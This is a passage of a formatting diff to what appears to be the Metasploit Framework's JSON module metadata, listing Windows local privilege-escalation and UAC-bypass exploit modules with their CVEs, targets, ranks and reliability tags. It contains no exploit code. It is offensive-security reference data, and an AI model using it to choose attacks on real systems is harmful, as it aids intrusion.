600, "disclosure_date": "2013-08-02", "type": "exploit", @@ -177945,12 +158616,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Agnitum Outpost Internet Security 8.1" ], @@ -177961,22 +158628,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/alpc_taskscheduler": { "name": "Microsoft Windows ALPC Task Scheduler Local Privilege Elevation", "fullname": "exploit/windows/local/alpc_taskscheduler", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-08-27", "type": "exploit", @@ -177994,12 +158656,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 x64" ], @@ -178022,16 +158680,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/always_install_elevated": { "name": "Windows AlwaysInstallElevated MSI", "fullname": "exploit/windows/local/always_install_elevated", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-18", "type": "exploit", @@ -178048,12 +158702,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -178064,22 +158714,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/anyconnect_lpe": { "name": "Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)", "fullname": "exploit/windows/local/anyconnect_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-08-05", "type": "exploit", @@ -178099,12 +158744,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86/x64 with x86 payload" ], @@ -178130,16 +158771,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/applocker_bypass": { "name": "AppLocker Execution Prevention Bypass", "fullname": "exploit/windows/local/applocker_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-03", "type": "exploit", @@ -178154,12 +158791,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -178170,22 +158803,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/appxsvc_hard_link_privesc": { "name": "AppXSvc Hard Link Privilege Escalation", "fullname": "exploit/windows/local/appxsvc_hard_link_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-04-09", "type": "exploit", @@ -178205,12 +158833,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10" ], @@ -178221,22 +158845,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ask": { "name": "Windows Escalate UAC Execute RunAs", "fullname": "exploit/windows/local/ask", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-03", "type": "exploit", @@ -178245,18 +158864,12 @@ "b00stfr3ak" ], "description": "This module will attempt to elevate execution level using\n the ShellExecute undocumented RunAs flag to bypass low\n UAC settings.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -178267,22 +158880,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bits_ntlm_token_impersonation": { "name": "SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.", "fullname": "exploit/windows/local/bits_ntlm_token_impersonation", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2019-12-06", "type": "exploit", @@ -178300,12 +158908,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -178331,16 +158935,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bthpan": { "name": "MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation", "fullname": "exploit/windows/local/bthpan", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-07-18", "type": "exploit", @@ -178358,12 +158958,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -178374,22 +158970,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac": { "name": "Windows Escalate UAC Protection Bypass", "fullname": "exploit/windows/local/bypassuac", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-31", "type": "exploit", @@ -178405,12 +158996,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -178422,22 +159009,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_comhijack": { "name": "Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)", "fullname": "exploit/windows/local/bypassuac_comhijack", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1900-01-01", "type": "exploit", @@ -178454,12 +159036,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -178486,16 +159064,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_dotnet_profiler": { "name": "Windows Escalate UAC Protection Bypass (Via dot net profiler)", "fullname": "exploit/windows/local/bypassuac_dotnet_profiler", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-17", "type": "exploit", @@ -178512,12 +159086,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -178535,24 +159105,18 @@ "SideEffects": [ "artifacts-on-disk" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_eventvwr": { "name": "Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)", "fullname": "exploit/windows/local/bypassuac_eventvwr", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-08-15", "type": "exploit", @@ -178569,12 +159133,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -178586,22 +159146,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_fodhelper": { "name": "Windows UAC Protection Bypass (Via FodHelper Registry Key)", "fullname": "exploit/windows/local/bypassuac_fodhelper", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-12", "type": "exploit", @@ -178618,12 +159173,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -178635,22 +159186,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_injection": { "name": "Windows Escalate UAC Protection Bypass (In Memory Injection)", "fullname": "exploit/windows/local/bypassuac_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-31", "type": "exploit", @@ -178670,12 +159216,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -178687,22 +159229,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_injection_winsxs": { "name": "Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS", "fullname": "exploit/windows/local/bypassuac_injection_winsxs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-06", "type": "exploit", @@ -178716,12 +159253,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -178733,22 +159266,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_sdclt": { "name": "Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)", "fullname": "exploit/windows/local/bypassuac_sdclt", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-17", "type": "exploit", @@ -178765,12 +159293,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -178789,24 +159313,18 @@ "artifacts-on-disk", "screen-effects" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_silentcleanup": { "name": "Windows Escalate UAC Protection Bypass (Via SilentCleanup)", "fullname": "exploit/windows/local/bypassuac_silentcleanup", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-02-24", "type": "exploit", @@ -178827,12 +159345,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Windows" ], @@ -178843,23 +159357,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_sluihijack": { "name": "Windows UAC Protection Bypass (Via Slui File Handler Hijack)", "fullname": "exploit/windows/local/bypassuac_sluihijack", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-01-15", "type": "exploit", @@ -178875,12 +159384,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -178892,22 +159397,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_vbs": { "name": "Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)", "fullname": "exploit/windows/local/bypassuac_vbs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-22", "type": "exploit", @@ -178923,12 +159423,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -178939,22 +159435,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_windows_store_filesys": { "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)", "fullname": "exploit/windows/local/bypassuac_windows_store_filesys", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-08-22", "type": "exploit", @@ -178972,12 +159463,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -178998,16 +159485,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_windows_store_reg": { "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry", "fullname": "exploit/windows/local/bypassuac_windows_store_reg", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-02-19", "type": "exploit", @@ -179025,12 +159508,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -179051,16 +159530,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/canon_driver_privesc": { "name": "Canon Driver Privilege Escalation", "fullname": "exploit/windows/local/canon_driver_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-08-07", "type": "exploit", @@ -179075,12 +159550,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -179106,16 +159577,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/capcom_sys_exec": { "name": "Windows Capcom.sys Kernel Execution Exploit (x64 only)", "fullname": "exploit/windows/local/capcom_sys_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "1999-01-01", "type": "exploit", @@ -179130,12 +159597,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -179146,22 +159609,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/comahawk": { "name": "Microsoft UPnP Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/comahawk", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-12", "type": "exploit", @@ -179182,12 +159640,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -179198,22 +159652,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/current_user_psexec": { "name": "PsExec via Current User Token", "fullname": "exploit/windows/local/current_user_psexec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -179230,12 +159679,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -179246,22 +159691,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2017_8464_lnk_lpe": { "name": "LNK Code Execution Vulnerability", "fullname": "exploit/windows/local/cve_2017_8464_lnk_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-06-13", "type": "exploit", @@ -179282,12 +159722,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64", "Windows x86" @@ -179307,20 +159743,14 @@ "artifacts-on-disk" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2018_8453_win32k_priv_esc": { "name": "Windows NtUserSetWindowFNID Win32k User Callback", "fullname": "exploit/windows/local/cve_2018_8453_win32k_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-10-09", "type": "exploit", @@ -179341,12 +159771,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 v1703 (Build 15063) x86" ], @@ -179370,16 +159796,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2019_1458_wizardopium": { "name": "Microsoft Windows Uninitialized Variable Local Privilege Elevation", "fullname": "exploit/windows/local/cve_2019_1458_wizardopium", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-12-10", "type": "exploit", @@ -179399,12 +159821,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x64" ], @@ -179430,16 +159848,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_0668_service_tracing": { "name": "Service Tracing Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/cve_2020_0668_service_tracing", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-11", "type": "exploit", @@ -179460,12 +159874,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -179491,16 +159901,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_0787_bits_arbitrary_file_move": { "name": "Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-10", "type": "exploit", @@ -179521,12 +159927,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows DLL Dropper" ], @@ -179552,16 +159954,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_0796_smbghost": { "name": "SMBv3 Compression Buffer Overflow", "fullname": "exploit/windows/local/cve_2020_0796_smbghost", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2020-03-13", "type": "exploit", @@ -179579,12 +159977,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 v1903-1909 x64" ], @@ -179617,16 +160011,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_1048_printerdemon": { "name": "Microsoft Spooler Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/cve_2020_1048_printerdemon", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-11-04", "type": "exploit", @@ -179644,12 +160034,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -179676,16 +160062,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_1054_drawiconex_lpe": { "name": "Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation", "fullname": "exploit/windows/local/cve_2020_1054_drawiconex_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-02-20", "type": "exploit", @@ -179707,12 +160089,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x64" ], @@ -179738,16 +160116,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_1313_system_orchestrator": { "name": "Windows Update Orchestrator unchecked ScheduleWork call", "fullname": "exploit/windows/local/cve_2020_1313_system_orchestrator", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-04", "type": "exploit", @@ -179763,12 +160137,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -179783,9 +160153,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "artifacts-on-disk" @@ -179795,16 +160163,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_1337_printerdemon": { "name": "Microsoft Spooler Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/cve_2020_1337_printerdemon", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-04", "type": "exploit", @@ -179825,12 +160189,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -179845,9 +160205,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "artifacts-on-disk" @@ -179857,16 +160215,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_17136": { "name": "CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP", "fullname": "exploit/windows/local/cve_2020_17136", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-03-10", "type": "exploit", @@ -179883,12 +160237,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows DLL Dropper" ], @@ -179914,16 +160264,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2021_21551_dbutil_memmove": { "name": "Dell DBUtil_2_3.sys IOCTL memmove", "fullname": "exploit/windows/local/cve_2021_21551_dbutil_memmove", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2021-05-04", "type": "exploit", @@ -179941,12 +160287,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -179964,24 +160306,18 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2021_40449": { "name": "Win32k NtGdiResetDC Use After Free Local Privilege Elevation", "fullname": "exploit/windows/local/cve_2021_40449", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2021-10-12", "type": "exploit", @@ -180005,12 +160341,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)" ], @@ -180028,17 +160360,13 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2022_21882_win32k": { "name": "Win32k ConsoleControl Offset Confusion", @@ -180077,12 +160405,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 v1803-21H2 x64" ], @@ -180100,24 +160424,18 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2022_21999_spoolfool_privesc": { "name": "CVE-2022-21999 SpoolFool Privesc", "fullname": "exploit/windows/local/cve_2022_21999_spoolfool_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-02-08", "type": "exploit", @@ -180133,12 +160451,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -180167,16 +160481,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2022_26904_superprofile": { "name": "User Profile Arbitrary Junction Creation Local Privilege Elevation", "fullname": "exploit/windows/local/cve_2022_26904_superprofile", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-03-17", "type": "exploit", @@ -180194,12 +160504,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 11" ], @@ -180228,16 +160534,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2022_3699_lenovo_diagnostics_driver": { "name": "Lenovo Diagnostics Driver IOCTL memmove", "fullname": "exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-11-09", "type": "exploit", @@ -180253,12 +160555,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -180276,24 +160574,18 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2023_21768_afd_lpe": { "name": "Ancillary Function Driver (AFD) for WinSock Elevation of Privilege", "fullname": "exploit/windows/local/cve_2023_21768_afd_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-10", "type": "exploit", @@ -180312,12 +160604,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 11 22H2 x64" ], @@ -180335,24 +160623,18 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2023_28252_clfs_driver": { "name": "Windows Common Log File System Driver (clfs.sys) Elevation of Privilege Vulnerability", "fullname": "exploit/windows/local/cve_2023_28252_clfs_driver", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2023-04-11", "type": "exploit", @@ -180369,12 +160651,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -180392,24 +160670,18 @@ "Reliability": [ "unreliable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2024_30088_authz_basep": { "name": 